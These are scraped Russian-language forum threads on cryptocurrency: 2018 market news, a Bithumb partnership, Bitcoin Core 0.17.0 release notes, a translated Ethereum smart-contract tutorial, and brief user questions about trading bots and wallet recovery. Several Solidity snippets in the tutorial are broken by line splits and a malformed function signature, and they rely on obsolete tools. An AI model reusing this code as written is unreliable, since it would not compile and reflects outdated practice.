На рынке альткоинов наблюдаются гораздо более серьезные потери. Биткэш после хардфорка упал до уровня $200, потеряв почти половину стоимости всего за 24 часа, как и предполагали эксперты ранее. Фактически, эта цена принадлежит основной ветви BCH-ABC, ветвь BCH-SV не котируется на большинстве бирж. Эфир, ранее крупнейший альткоин по рыночной капитализации, также упал до $130, вызвав опасения, что вскоре он может потерять свое место в тройке лучших активов, поскольку Stellar, аналогично Ripple, падает гораздо медленнее.

Тем временем для Джона Макафи (John McAfee) эта «кровавая баня» не что иное, как очередная «зима».

«Люди запаниковали. Но в это нет никакой долбаной необходимости. Мы находимся на «медвежьем» рынке. Они проигрывают, да, но пока положение не достигло критической точки», - настаивает он. «Мне 73 года, и я видел это десятки раз на многих рынках. «Медвежий» рынок похож на зиму. За ней всегда следует славная весна».

Click to expand...

Его оптимизм вторит позиции основателя BTCC Бобби Ли (Bobby Lee), который в понедельник призвал к «капитуляции» краткосрочных трейдеров, чтобы добиться окончательного минимума BTC/USD.

В соответствии с текущими темпами, пара BTC/USD находится примерно на полпути к «дну», как это предсказывал несколько раз знаменитый гуру трейдинг Тони Вейс (Tone Vays). Он прогнозировал достижения цены биткоина в $3000 долларов, прежде чем рынки прекратят падение.

Напоминаем, что Макафи прогнозировал цену биткоина в $1 миллион к 2020 году, в случае ошибки пообещав в Твиттере съесть собственный пенис.

Южнокорейская биржа Bithumb запускает новый сервис по обмену инвестиционных токенов
ID: 67686ad7b4103b69df379ad3
Thread ID: 26483
Created: 2018-11-04T23:54:55+0000
Last Post: 2018-11-04T23:54:55+0000
Author: Cavalliere
Replies: 0 Views: 2K

На днях сеульская криптобиржа Bithumb подписала партнерское соглашение с американским проектом SeriesOne о совместном создании нового сервиса по обмену и продаже инвестиционных цифровых жетонов.

По сообщению южнокорейского новостного издания Yonhap News, договор, подписанный 1 ноября, имеет цель объединить развитые возможности биржи Bithumb по работе с цифровыми валютами и богатый опыт фирмы SeriesOne в области краудфандинга, чтобы создать глобальный инвестиционный проект, способный на равных соперничать с передовыми игроками индустрии.

Эксперты обеих компаний считают, что финансовые активы, представленные в виде блокчейн-токенов, через несколько лет займут не менее значимое положение на мировых рынках, чем сейчас занимают традиционные виды активов. В общем и целом цифровые инвестиционные жетоны ничем не отличаются от обычных ценных бумаг: их так же можно обменивать на товары и услуги, и точно так же, как бумаги, токены могут приносить финансовую отдачу от вложений в будущем.

Децентрализованный обмен на платформе One Root Stock (ONR)

Согласно источникам издания Yonhap, новая биржа цифровых активов увидит свет в первой половине 2019 года. Проект развернется в США под брендом компании SeriesOne. Техническое обеспечение, необходимое для торговли цифровыми жетонами, предоставит Bithumb.

Одновременно с этим Bithumb собирается запустить глобальную децентрализованную биржу криптовалют (DEX) через партнерство с фирмой One Root Network (RNT), известной своими передовыми разработками в области технологий блокчейн.

Среди всех продуктов RNT главным можно назвать протокол транзакций токенов R1, разработанный на базе Ethereum. Особенность протокола состоит в том, что он разделяет процессы исполнения транзакции и проверки её подлинности, что заметно повышает безопасность платежей, уменьшая при этом вычислительные затраты на проведение операции.

Восстановление Bithumb после хакерской атаки

Незадолго до того как Bithumb объявил о скором запуске нового проекта по торговле инвестиционными жетонами, обменный сервис Changelly, расположенный в Гонконге, раскрыл сведения о своей финансовой помощи корейской бирже, которая ей потребовалась после потери 30 млн долларов в результате хакерской атаки, случившейся в июне этого года.

Известно, что кроме Changelly, бирже Bithumb помогли восстановиться после взлома еще несколько крупных игроков криптовалютной индустрии, которые передали ей токенов на сумму около 14 миллионов долларов. Проект Changelly объявил о том, что он помог Bithumb восстановить 1 063 500 токенов XRP, стоимость которых оценивается в размере около 585 000 долларов.

Появление других инвестиционных криптобирж не за горами

В июле этого года обменный сервис OKEx объявил о своих планах по запуску новой платформы для торговли инвестиционными токенами, которая будет зарегистрирована на Мальте. Новый проект создаётся в сотрудничестве с фондовой биржей островного государства.

Кроме того, площадка для краудфандинга Indiegogo недавно создала на своей основе публичное ICO по продаже цифровых токенов, подкрепленных активами в сфере недвижимости.

Вышел релиз Bitcoin Core 0.17.0: что нового?
ID: 67686ad7b4103b69df379ad4
Thread ID: 26243
Created: 2018-10-05T09:41:51+0000
Last Post: 2018-10-05T09:41:51+0000
Author: tabac
Replies: 0 Views: 2K

Вчера состоялся официальный релиз Bitcoin Core 0.17.0 – семнадцатой версии оригинального программного клиента биткоина. Над разработкой новой версии в течение 7 месяцев трудились 135 программистов под руководством Владимира ван дер Лаана (Wladimir van der Laan).

В результате обработки более 700 запросов на добавление функций был проведен целый ряд улучшений и исправлений ошибок. Ниже представлен обзор некоторых изменений.

Улучшенный выбор входов
Монеты в кошельке хранятся в виде отдельных фрагментов («входов транзакций»). Каждому полученному платежу соответствует свой фрагмент; следовательно, большинство фрагментов представляют собой разные суммы. При отправлении крупной транзакции из кошелька фрагменты объединяются и формируют сумму, необходимую для осуществления платежа с учетом комиссии. Однако зачастую собрать точную сумму не получается, в этом случае к транзакции добавляется «адрес для сдачи», отправляющий оставшиеся деньги в кошелек отправителя.

Вплоть до настоящего момента кошелек Bitcoin Core собирал разные фрагменты, и только после этого вычислял и добавлял комиссию, необходимую для оплаты транзакции. Однако в некоторых случаях после добавления комиссии средств не хватало и приходилось включать в транзакцию еще один дополнительный фрагмент.

Клиент Bitcoin Core 0.17.0 вводит алгоритм под названием «Метод ветвей и границ», разработанный специалистом компании BitGo Марком Эрхардтом (Mark Erhardt). Он обеспечивает сразу два улучшения. Во-первых, комиссия за каждый фрагмент подсчитывается до того, как его включают в транзакцию. Это делается, чтобы избежать дополнительного добавления фрагментов. Во-вторых, алгоритм пытается подобрать фрагменты таким образом, чтобы они содержали точную сумму, избегая необходимости обращения к «адресам для сдачи». (Большие кошельки, содержащие множество пакетов, наподобие кошельков бирж, реже пользуются адресами сдачи, чем другие кошельки). Кроме того, алгоритм выбора монет в Bitcoin Core 0.17.0 содержит дополнительное улучшение конфиденциальности.

Хотя получать сразу несколько платежей на один и тот же адрес биткоина не рекомендуется, на деле такая практика существует (например, так происходит со счетами на биржах и с различными адресами для отправления пожертвований). Такое использование кошельков неблагоприятно влияет на конфиденциальность, поскольку не составляет никакого труда связать определенные транзакции с адресом и вычислить, что они принадлежат одному пользователю.

Для решения этой проблемы Bitcoin Core 0.17.0 предоставляет пользователям возможность добавлять в транзакцию фрагменты в порядке приоритета, включая в нее фрагменты, привязанные к одному адресу и оставляя остальные фрагменты в кошельке.

Простота создания и использования новых кошельков
После выхода клиента Bitcoin Core 0.15.0 появилась возможность создавать несколько кошельков, действующих автономно друг от друга. Все эти кошельки имеют собственные адреса, закрытые ключи и, соответственно, баланс. Разные кошельки можно использовать в разных целях: например, один кошелек можно использовать для ежедневных покупок, другой – для бизнес-транзакций, а третий – для трейдинга. Это упрощает ведение учета и повышает конфиденциальность пользователей, поскольку кошельки никак не привязываются друг к другу.

Тем не менее, до настоящего времени новые кошельки можно было создавать только при запуске консольной версии, и это было недоступно пользователям кошелька Bitcoin Core с графическим интерфейсом (GUI). Теперь оба этих ограничения сняты. Bitcoin Core 0.17.0 позволяет пользователям создавать новые кошельки в том числе через GUI.

В качестве дополнительного преимущества Bitcoin Core 0.17.0 вводит функцию под названием «Scantxoutset». С ее помощью пользователи могут быстро проверить наличие средств в новом кошельке (например, когда закрытые ключи импортируются из другого кошелька), посредством проверки неизрасходованных выходов транзакции (UTXO), не сканируя всю историю транзакций.

Обновление до HD-кошельков
Если версии, предшествующие Bitcoin Core 0.13.0, требовали от пользователей делать резервное копирование всех закрытых ключей, то все последующие версии Bitcoin Core вместо этого предлагают использовать иерархические детерминированные (Hierarchical Deterministic, HD) кошельки. В качестве бэкапа пользователям HD-кошелька нужно хранить только seed-фразу, обычно состоящую из 12 слов.

Тем не менее, пользователи Bitcoin Core, обновившие свою систему до версии Bitcoin Core 0.13.0 и новее, могли создавать новые HD-кошельки. Несовместимость между обычными кошельками и кошельками HD означала, что пользователям приходилось продолжать делать резервное копирование всех своих закрытых ключей или перевести все биткоины на адреса HD-кошелька.

Bitcoin Core 0.17.0 также позволяет пользователям обновиться до формата HD. Кроме того, пользователи кошельков Bitcoin Core, у которых уже есть HD- кошельки, могут по желанию сгенерировать или импортировать новую seed-фразу.

Кошельки Watch Only
Кошельки Биткоина обычно хранят закрытые ключи, что позволяет пользователям тратить свои средства. Но Bitcoin Core также поддерживает адреса под названием «Watch Only» (только для наблюдения). Закрытые ключи к этим адресам не хранятся в кошельке, однако привязанные к ним монеты видны в интерфейсе кошелька без возможности совершать транзакции. Это позволяет пользователям с легкостью получать платежи и отслеживать свои средства, храня закрытые ключи в оффлайне.

Bitcoin Core 0.17.0 продвигает эту модель на шаг вперед и позволяет пользователям создавать особые кошельки Watch Only, каждый адрес в которых является адресом Watch Only.

Частично подписанные транзакции
Несмотря на то, что большинство криптовалютных транзакции являются простыми (один пользователь платит другому), Биткоин также предполагает более сложные виды транзакций. К ним принадлежат, например, транзакции с мультиподписью (multisig) или ориентированные на конфиденциальность транзакции с перемешиванием CoinJoin.

Для упрощения такого рода транзакций Bitcoin Core 0.17.0 представляет систему "частично подписанных транзакций" (PSBT), основанную на решении BIP 174. Эта система позволяет пользователям Bitcoin Core подписывать транзакцию частично, а также добавляет к такой частично подписанной транзакции метаданные. Впоследствии эти метаданные может использовать для завершения транзакции кто- то другой.

На данный момент функция частично подписанных транзакций предназначается только для пользователей, запускающих Bitcoin Core с командной строки или через взаимодействующие приложения.

Усечение блокчейна через пользовательский интерфейс
Поскольку в блокчейне хранятся абсолютно все транзакции за историю существования Биткоина, в настоящее время его размер уже превысил 180 гигабайт и продолжает расти. Новым пользователям приходится загружать и подтверждать все эти данные.

Однако, благодаря обходному маневру под названием «усечение блокчейна» пользователям не обязательно хранить всю эту информацию. В режиме усечения узлы сети автоматически забывают о данных старых транзакций и хранят только информацию, необходимую им для безопасного функционирования. До настоящего времени режим отсечения можно было активировать только через командную строку при запуске кошелька.

Bitcoin Core 0.17.0 впервые предлагает доступ к этой функции из графического интерфейса, что позволяет использовать режим отсечения прямо из кошелька, делая его более доступным для не обладающих техническими знаниями пользователей.

Более подробно ознакомиться с изменениями новой версии Bitcoin Core можно в комментариях к Bitcoin Core 0.17.0 - [https://github.com/bitcoin/bitcoin/blob/mas...notes-0.17.0.md](https://github.com/bitcoin/bitcoin/blob/master/doc/release- notes/release-notes-0.17.0.md)

Инструкция: Смарт-Контракты в Эфириум
ID: 67686ad7b4103b69df379ad5
Thread ID: 26135
Created: 2018-09-30T18:31:49+0000
Last Post: 2018-09-30T18:31:49+0000
Author: tabac
Replies: 0 Views: 2K

Я работал со[смарт-контрактами на протяжении 4-х лет](https://medium.com/@maraoz/smart-contracts-and- bitcoin-a5d61011d9b1#.odpx69cvr), в основном на блокчейне Биткойна. Вот некоторые проекты, где мне довелось участвовать:Proof of Existence, bitcore, Streamium. В последние месяцы я работал с платформой Эфириум и изучал её.

Я решил написать короткое руководство для будущих программистов, оно поможет вам легко начать писать свои первые контракты для Эфириума. Я разделил статью на 2 части: с чего начать построение контрактов Эфириума, и короткие заметки по поводу безопасности контрактов.

Первые шаги в создании Смарт-Контрактов на базе Эфириума

0. Базовые принципы
Данное руководство подразумевает, что у вас имеется базовый уровень знаний о технических аспектах работы криптовалют и в частности блокчейнов. Если у вас их нет, я рекомендую прочесть книгу «Mastering Bitcoin» Андреаса Антонопоулоса, [ работу Consensys «Достаточно Биткойна. Время Эфириума»](https://medium.com/@ConsenSys/time- sure-does-fly-ed4518792679#.r5e4xnbph) («Just Enough Bitcoin for Ethereum»), или, хотя бы, посмотрите [это короткое видео](http://www.imponderablethings.com/2013/07/how-bitcoin-works-under- hood.html) со Скоттом Дрисколлом. Чтобы продолжать, вам нужно знать, что такое секретный и публичный ключ , почему блокчейну нужны майнеры , как достигается децентрализованный консенсус , что такое транзакция , и какую роль играют скрипты в транзакциях, и конечно же разобраться с концепцией смарт-контрактов.

Две другие важные и относящиеся к теме идеи, которые вам нужно понимать перед началом работы с Эфириумом, это Ethereum Virtual Machine (виртуальная машина Эфириума) и топливо.

Эфириум был разработан как платформа смарт-контрактов. Его корни тесно вплетены в критику, Виталика Бутерина в сторону Биткойна, согласно которой возможности этой платформы для смарт-контрактов весьма ограничены. Виртуальная Машина Эфириума (EVM) — среда, в которой работают смарт-контракты на базе Эфириума. Для написания скриптов, он предоставляет более выразительный и полный язык, в отличии от Биткойна. По- факту, это [Тьюринг-полный](https://github.com/ethereum/wiki/wiki/White- Paper#computation-and-turing-completeness) программный язык. Хорошая метафора – EVM это распределенный глобальный компьютер , в котором выполняются все смарт-контракты.

Учитывая, что смарт-контракты работают в EVM, должен быть механизм ограничения ресурсов для каждого контракта. Каждая отдельная операция, выполняемая внутри EVM, на самом деле выполняется одновременно каждым узлом в сети. Вот почему существует топливо. Код контракта транзакции Эфириума может провоцировать запись и чтение данных, делать дорогие вычисления вроде использования принципов криптографии, делать звонки (отправлять сообщения) другим контрактам, и так далее. Каждая из этих операций имеет стоимость, измеряемую топливом, и каждая потребленная транзакцией единица топлива должна быть оплачена Эфиром, согласно цены на топливо/Эфир, которая изменяется динамически. Эта стоимость отнимается из аккаунта Эфириума, который выполняет транзакцию. Также, транзакции имеют лимит по топливу, этот параметр является верхней планкой того, сколько топлива может израсходовать транзакция, и используется в качестве предохранителя против программных ошибок, которые могут опустошить кошелек пользователя. [Вы можете почитать подробнее про топливо здесь](https://ethereum.gitbooks.io/frontier- guide/content/costs.html).

1. Настройка окружения
Так, вы знакомы с основами, теперь давайте перейдем к коду! Чтобы начать создавать Аpps для Эфириума (а точнее — Dapps, т. е. Децентрализованные приложения, как многие любят их называть), вам будет нужен клиент для соединения с сетью. Он будет вашим окном в децентрализованную сеть, и покажет содержимое блокчейна, где отображается полностью состояние EVM.

Есть несколько совместимых клиентов для протокола, самый популярный — Geth, приложение, написанное на Go. Так или иначе, он не самый дружественный к разработчику. Самая лучшая опция, найденная мной, это testrpc узел (да, название отстой). Поверьте, он сэкономит вам много времени. Установите его и запустите:

Code:Copy to clipboard

$ sudo npm install -g ethereumjs-testrpc
$ testrpc

Вам нужно будет запустить ‘testrpc’ в новом терминале и оставлять его работающим каждый раз, как вы занимаетесь кодингом. Каждый раз, как вы запускаете программу, она генерирует 10 новых адресов с ‘демо’ деньгами на них. Эти не настоящие деньги и предназначены для ваших тестов, вы можете пробовать что угодно и не бояться потери средств.

Самый популярный язык программирования смарт-контрактов Эфириума — Solidity, мы будем использовать его. Также мы используем среду разработки Truffle, которая помогает в создании смарт-контрактов, компиляции, запуске и тестировании. Давайте начнем:

Code:Copy to clipboard

# Для начала, запустим Truffle
$ sudo npm install -g truffle
# настроим наш проект
$ mkdir solidity-experiments
$ cd solidity-experiments/
$ truffle init

Truffle создаст все файлы, необходимые для экспериментального проекта, включая контракты для MetaCoin — примера токеновых контрактов. Вы должны суметь скомпилировать тестовый контракт командой ‘truffle compile’. Затем, чтобы запустить контракты в симуляционную сеть при помощи testrpc узла, который мы запустили, вам нужно запустить ‘truffle migrate’.

Code:Copy to clipboard

$ truffle compile
Compiling ConvertLib.sol...
Compiling MetaCoin.sol...
Compiling Migrations.sol...
Writing artifacts to ./build/contracts
$ truffle migrate
Running migration: 1_initial_migration.js
  Deploying Migrations...
  Migrations:
0x78102b69114dbb846200a6a55c2fce8b16f61a5d
Saving successful migration to network...
Saving artifacts...
Running migration: 2_deploy_contracts.js
  Deploying ConvertLib...
  ConvertLib:
0xaa708272521f972b9ceced7e4b0dae92c77a49ad
  Linking ConvertLib to MetaCoin
  Deploying MetaCoin...
  MetaCoin:
0xdd14d0691ca607d9a38f303501c5b0cf6c843fa1
Saving successful migration to network...
Saving artifacts...

//Заметка пользователям MAC:
//иногда Truffle выдает ошибку из-за файлов .DS_Store. Если у вас будет ошибка с упоминанием этих файлов, просто удалите их.

Мы только что запустили контракты-примеры в нашу тестовую сеть. Уиихааа! Это было просто, не так ли? Настало время создать наш собственный контракт!

2. Создаем ваш первый контракт в Эфириуме
В этом руководстве мы будем писать простой смарт-контракт Proof of Existence. Идея состоит в создании цифрового нотариуса, который сохраняет хэши документов как доказательство того, что они существовали на определенный момент времени. Используйте ‘truffle create:contract’ чтобы начать:

Code:Copy to clipboard

$ truffle create:contract
ProofOfExistence1

Теперь, откройте contracts/ProofOfExistence1.sol в своем любимом текстовом редакторе (Я использую vim с подсвечиванием синтаксиса Solidity), и вставить всю нижеследующую версию кода:

Code:Copy to clipboard

// Proof of Existence
contract, version 1
contract ProofOfExistence1 {
  // состояние
  bytes32 public proof;
  // вычислить и сохранить доказательство для документа
  // *транзакционная функция*
  function notarize(string document) {
    proof = calculateProof(document);
  }
// функция-помощник для извлечения sha256 хэша документа
  // *read-only функция*
  function calculateProof(string document)
constant returns (bytes32) {
    return sha256(document);
  }
}

Ну, именно с этого частично неверного и простого кода мы начнем создание, попутно найдя лучшее решение. Это — контракт на Solidity, напоминает класс в других языках программирования. Контракты имеют состояние и функции. Можно различать два типа функций, которые могут появиться в контракте:

Наш контракт выше имеет по одной функции каждого вида, помеченные в документации. Посмотрим, как данная функция изменяет способ нашего взаимодействия с контрактом в следующей секции.

Эта простая версия хранит только одно доказательство за раз, используя тип данных bytes32, или 32 bytes, что является размером хэша SHA256. Транзакционная функция ‘notarize’ позволяет человеку сохранить хэш заверяемого документа в переменной, записанной в состоянии контракта. Эта переменная — ‘proof’. Итак, эта переменная — публичная, и является единственным способом для пользователя данного контракта нотариально заверить документ. Мы скоро сами начнем это делать, но сначала…

Давайте отправим в сеть ProofOfExistence1! На этот раз, вам придется редактировать файл миграции (migrations/2_deploy_contracts.js) чтобы заставить Truffle отправить наш новый контракт. Замените содержимое файла следующим кодом:

Code:Copy to clipboard

/*
* migrations/2_deploy_contracts.js:
*/
module.exports = function(deployer) {
deployer.deploy(ConvertLib);
deployer.autolink();
deployer.deploy(MetaCoin);
// добавить эту линию
deployer.deploy(ProofOfExistence1);
};

Вы также опционально можете удалить строки о ConvertLib и MetaCoin, которые мы более не будем использовать. Чтобы снова запустить эту миграцию, вам понадобится использовать флаг сброса, чтобы убедиться, что он снова запустится.

Code:Copy to clipboard

truffle migrate --reset

Больше насчет того, как работает Truffle, можно почитать здесь.

3. Взаимодействие с вашим смарт-контрактом
Теперь, когда наш контракт отправлен, давайте с ним поиграем! Мы можем посылать в него сообщения, используя функциональные звонки, а также читать его публичное состояние. Для этой цели, мы будем использовать консоль Truffle:

Code:Copy to clipboard

$ truffle console
// получить выложенную версию нашего контракта
truffle(default)> var poe =
ProofOfExistence1.deployed()
// и вывести ее адрес

truffle(default)>
console.log(poe.address)
0x3d3bce79cccc331e9e095e8985def13651a86004
// давайте зарегистрируем наш первый
"документ"
truffle(default)> poe.notarize("An
amazing idea")
Promise { <pending> }
// теперь давайте получим доказательство для этого документа
truffle(default)>
poe.calculateProof("An amazing idea").then(console.log)
Promise { <pending> }
0xa3287ff8d1abde95498962c4e1dd2f50a9f75bd8810bd591a64a387b93580ee7
// Чтобы проверить, было ли корректно изменено состояние контракта:
truffle(default)>
poe.proof().then(console.log)
0xa3287ff8d1abde95498962c4e1dd2f50a9f75bd8810bd591a64a387b93580ee7
// Хэш совпадает с тем, что мы вычислили ранее

Заметьте, что каждый функциональный вызов возвращает Обещание Promise), и мы используем ‘ .then(console.log’ чтобы вывести результат, как только Обещание выполнено, если хотим его проверить.

Первое, что мы делаем, получаем представление про наш отправленный в сеть контракт и сохраняем его в переменной под названием ‘ poe ‘.

Затем, мы вызываем транзакционную функцию ‘notarize’, которая включает изменение в состоянии контракта. Когда мы вызываем транзакционную функцию, мы получаем Обещание , привязанное к ID транзакции, а не к тому, что возвращает сама функция. Помните, что для изменения состояния EVM нам нужно тратить топливо и отправлять транзакцию в сеть. Вот почему мы получаем ID транзакции в качестве результата Обещания; о транзакции, которая и привела к этому изменению состояния. В нашем случае, мы не заинтересованы в ID транзакции, так что мы просто удаляем Обещание. В случае написания реального контракта, мы бы захотели сохранить это, дабы проверить итоговую транзакцию и выловить ошибки.

Далее, мы вызываем read-only (constant) функцию, ‘calculateProof’. Не забывайте отмечать ваши read-only функции ключевым словом ‘constant’, иначе Truffle попробует создать транзакцию, чтобы выполнить функцию. Здесь заключен способ сообщить Truffle, что мы не взаимодействуем с блокчейном, а просто читаем из него. Используя эту read-only функцию, мы заполучим SHA256 хэшсумму вашего «Офигенная идея» документа.

Теперь нужно сравнить это с состоянием смарт-контракта Эфириума. Чтобы проверить, что состояние изменилось правильно, нам необходимо прочитать ‘proof’ переменную публичного состояния. Чтобы получить значение переменной публичного состояния, мы можем вызвать функцию с таким же именем, которая возвращает Обещание. В нашем случае, выводимый хэш — точно такой же, так что не стоит о чем-то волноваться.
За подробной информацией о том, как взаимодействовать со смарт контрактами, обратитесь к этой секции документации Truffle.

Как вы можете видеть из нескольких абзацев выше, наше первое видение Proof of Existenсe смарт-контракта действительно работает! Отличная работа! Однако, это удобно только для регистрации одного файла за раз. Давайте создадим улучшенную версию.

4. Повторение кода контракта
Давайте так изменим код контракта, чтобы он стал поддерживать запись нескольких файлов одновременно. Скопируйте оригинальны файл с именем contracts/ProofOfExistence2.sol и примените данные изменения. Главные изменения состоят вот в чем: мы изменяем переменную proof в диапазон bytes32, называя ееproofs , мы делаем ее приватной , и мы добавляем функцию проверки , был ли документ уже заверен путем итерации в этом диапазоне.

Code:Copy to clipboard

// Proof of Existence
contract, version 2
contract ProofOfExistence2 {
// состояние
bytes32[] private proofs;
// сохраним доказательство существования в состоянии контракта
// *транзакционная функция*
function storeProof(bytes32 proof) {
proofs.push(proof);
}
// вычислим и сохраним доказательство для документа
// *транзакционная функция*
function notarize(string document) {
var proof = calculateProof(document);
storeProof(proof);
}
// вспомогательная функция для получения sha256 хэш суммы документа
// *read-only функция*
function calculateProof(string document)
constant returns (bytes32) {
return sha256(document);
}
// проверить, был ли документ нотариально заверен
// *read-only функция*
function checkDocument(string document)
constant returns (bool) {
var proof = calculateProof(document);
return hasProof(proof);
}
// возвращает "верно"(true) если доказательство сохранено
// *read-only функция*
function hasProof(bytes32 proof) constant
returns (bool) {
for (var i = 0; i < proofs.length; i++) {
if (proofs[i] == proof) {
return true;
}
}
return false;
}
}

Давайте взаимодействовать с новыми функциями: (не забудьте обновить migrations/2_deploy_contracts.js, чтобы включить новый контракт и запустить ‘truffle migrate —reset’)

Code:Copy to clipboard

// выложить контракты
truffle(default)> migrate
--reset
// Получить новую версию контракта
truffle(default)> var poe =
ProofOfExistence2.deployed()
// Давайте посмотрим, есть ли новый документ, а его быть не должно
truffle(default)>
poe.checkDocument("hello").then(console.log)
Promise { <pending> }
false
// Теперь давайте добавим тот документ в базу доказательств
truffle(default)>
poe.notarize("hello")
Promise { <pending> }
// Теперь давайте снова проверим, был ли заверен документ?
truffle(default)>
poe.checkDocument("hello").then(console.log)
Promise { <pending> }
true
// Успех!
// мы также можем хранить другие документы, они также записаны
truffle(default)> poe.notarize("some
other document");
truffle(default)>
poe.checkDocument("some other document").then(console.log)
Promise { <pending> }
true

Эта версия лучше первой, но все еще содержит проблемы. Заметьте, что каждый раз, как мы хотим проверить, заверен ли документ, нам нужно проходить через все проверки. Их лучше сохранять в структуре, называемой «карта» (map). К счастью, язык Solidity поддерживает карты, называемые в нем mappings. Другая вещь, от которой мы избавимся в данной версии, это все те комментарии, которые маркируют read-only или транзакционные функции. Я думаю, теперь вы и сами можете в этом разобраться

Code:Copy to clipboard

// Proof of Existence
contract, version 3
contract ProofOfExistence3 {
mapping (bytes32 =>
bool) private proofs;
// сохраним доказательство существования в состоянии контракта
function storeProof(bytes32 proof) {
proofs[proof] = true;
}
// вычислим и сохраним доказательство для документа
function notarize(string document) {
var proof = calculateProof(document);
storeProof(proof);
}
// вспомогательная функция для вычисления sha256
function calculateProof(string document)
constant returns (bytes32) {
return sha256(document);
}
// проверка, был ли документ заверен
function checkDocument(string document)
constant returns (bool) {
var proof = calculateProof(document);
return hasProof(proof);
}
// возвращает "true" если документ был заверен
function hasProof(bytes32 proof) returns
constant (bool) {
return proofs[proof];
}
}

Такой код выглядит достаточно хорошо. И работает точно так, как работала вторая версия контракта. Чтобы его запустить, не забывайте обновлять файл миграции и запускать ‘ truffle migrate —reset ‘ снова. Весь код в данном руководстве может быть найден вот в этом репозитории GitHub.

5. Размещение контракта в реальной тестовой сети
Как только вы протестировали ваш контракт, используя исключительно testrpc в симуляционной сети, вы готовы опробовать его уже и в реальной! Чтобы это сделать, нам нужен реальный testnet/livenet Ethereum клиент. Воспользуйтесь [этими инструкциями по установке Geth](https://github.com/ethereum/go- ethereum/wiki/Building-Ethereum).

Во время разработки, вам нужно запускать узлы в testnet, так чтобы вы могли все протестировать, не рискуя при этом деньгами. Узел Testnet, также известный как Mordenв Эфириуме, в основном идентичен реальному Эфириуму, однако токен Ether, который там содержится, не имеет ценности. Не ленитесь, всегда помните, что нужно разрабатывать только в testnet, вы пожалеете, если потеряете настоящий Эфир из-за программной ошибки.

Запустите Geth в Testnet, с включенным RPC сервером:

Code:Copy to clipboard

geth --testnet --rpc console
2>> geth.log

Это действие открывает консоль, куда вы можете вбивать базовые команды для управления вашим узлом/клиентом. Ваш узел начнет загружать блокчейн Testnet, а вы можете отслеживать прогресс проверяя eth.BlockNumber. Пока загружается блокчейн, вы можете запускать команды. Например, давайте создадим счет: (хорошенько запомните свой пароль!)

Code:Copy to clipboard

> personal.newAccount()
Passphrase:
Repeat passphrase:
"0xa88614166227d83c93f4c50be37150b9500d51fc"

Давайте туда отправим немного монет и проверим баланс. Вы можете бесплатно получить Эфир Тестнета здесь, https://zerogox.com/ethereum/wei_faucet. Просто скопируйте и вставьте адрес, который вы только что сгенерировали, и вам пришлют 1 Ether для тестовой сети. Чтобы проверить свой баланс, наберите:

Code:Copy to clipboard

>eth.getBalance(eth.accounts[0])
0

Эта команда не покажет никакого баланса, но это потому, что ваш узел еще не синхронизировался с остальной сетью. Пока вы этого ждете, проверьте свой баланс в блок эксплорере Testnet. Там, вы можете также посмотреть номер самого нового блока (#1355293 на момент написания). Вы можете использовать его в комбинации c eth.BlockNumber для вычисления момента полной синхронизации узла.

Как только узел синхронизирован, вы будете готовы отправлять контракты используя Truffle. Сначала, разблокируйте свой главный geth аккаунт, чтобы Truffle мог его использовать. Также проверьте, что там имеются кое-какие средства, или вам не удастся запустить новый контракт в сеть.

Code:Copy to clipboard

> personal.unlockAccount(eth.accounts[0], "mypassword",
24*3600)
true
> eth.getBalance(eth.accounts[0])
1000000000000000000

Готово! Если из этих двух не работает ни один, проверьте шаги, описанные выше, и убедитесь в правильности вашего кода. Теперь запускайте:

Code:Copy to clipboard

$ truffle migrate --reset

Заметьте, что в этот раз контракт будет выполняться дольше, потому что мы соединяемся с реальной сетью, а не симуляционной из testrpc. Как только процесс закончен, вы можете взаимодействовать с контрактом точно так, как ранее.

Отправленная в Testnet версия ProofOfEistence3 может быть найдена по адресу: https://testnet.etherscan.io/address/0xcaf2...e3325dac3e79e05

Я опущу детали относительно того, как размещать контракт на реальной сети. Вы должны делать это только после того, как в деталях проверили свои контракты в симуляционных и Test сетях. [Помните, что любая программная ошибка может привести к потере реальных Эфиров](https://blog.ethereum.org/2016/06/17/critical-update-re-dao- vulnerability/)!

Безопасность контрактов вЭфириуме сложна
«Смарт-контракты весьма сложно правильно настроить»Эмин Гюн Сирер

Данное изначально, у смарт-контрактов есть свойство определять, как движутся компьютерные деньги, но я не могу закончить данное руководство не упомянув о безопасности. Я расскажу о безопасности смарт-контрактов подробнее в последующих статьях, но вот вам несколько быстрых заметок, чтобы начать.

Проблемы, о которых стоит беспокоиться (и которых стоит избегать):

Все это дается только в качестве примеров нестандартного поведения, которое может приводить к кражам или уничтожению средств в вашем смарт-контракте. Мораль проста: если вы пишете смарт-контракты, вы пишете код, который работает с реальными деньгами. Вам нужно быть очень осторожным. Пишите тесты, пересматривайте код, и проводите аудит контрактов.

Самый лучший способ избавиться от брешей в безопасности, это иметь цельное восприятие языка. Я рекомендую, чтобы вы[почитали документацию к Solidity](https://solidity.readthedocs.io/en/latest/introduction-to-smart- contracts.html). Нам все еще нужны более совершенные инструменты для приемлемого уровня безопасности смарт-контрактов (прим. редактора: и это один из вопросов,[поднимаемый](https://ethclassic.ru/2016/08/30/thoughts-on-etc- roadmap-charles-hoskinson/) разработчиками ETC)


Ну вот и все! Я надеюсь, вы насладились чтением этого руководства и вашим первым шагам в программировании смарт-контрактов на Эфириуме! Это все еще очень новая индустрия, и сейчас полно пространства для новых приложений и инструментов. Можете писать мне о ваших идеях и представлять прототипы.

Авторы: Manuel Araoz, BitCorps

Нужен бот для торговли криптовалютой
ID: 67686ad7b4103b69df3797c9
Thread ID: 89129
Created: 2023-05-28T18:50:41+0000
Last Post: 2023-11-25T04:48:26+0000
Author: mskmsk
Replies: 12 Views: 1K

Может ли кто-нибудь разработать для меня бота для торговли на блокчейне, который обнаруживает контракты, когда кто-то размещает криптовалюту, затем автоматически покупает ее и продает, когда она растет?

Вытащить крипту
ID: 67686ad7b4103b69df379714
Thread ID: 117240
Created: 2024-06-20T18:06:32+0000
Last Post: 2024-06-23T04:47:32+0000
Author: secidiot
Replies: 10 Views: 1K

(Не актуально)

Blockchain wallet ID
ID: 67686ad7b4103b69df37971c
Thread ID: 114910
Created: 2024-05-19T13:07:24+0000
Last Post: 2024-06-06T19:55:42+0000
Author: sect adept
Replies: 10 Views: 1K

Может кто подсказать: у меня продрочка с 2ФА аутентификацией на кошельке блокчейн (заблочили почту на которую письма с подтверждением приходили) путем совокупления с их поддержкой дошел до сброса 2ФА, но, мне для этого нужен мой валлет айди а он не выписан (я заню, что тупой поступок(сиды тоже не выписаны)), есть ли возможность откуда-то вытянуть мой валлет ИД? За советы заранее спасибо, за дельный совет лайк.
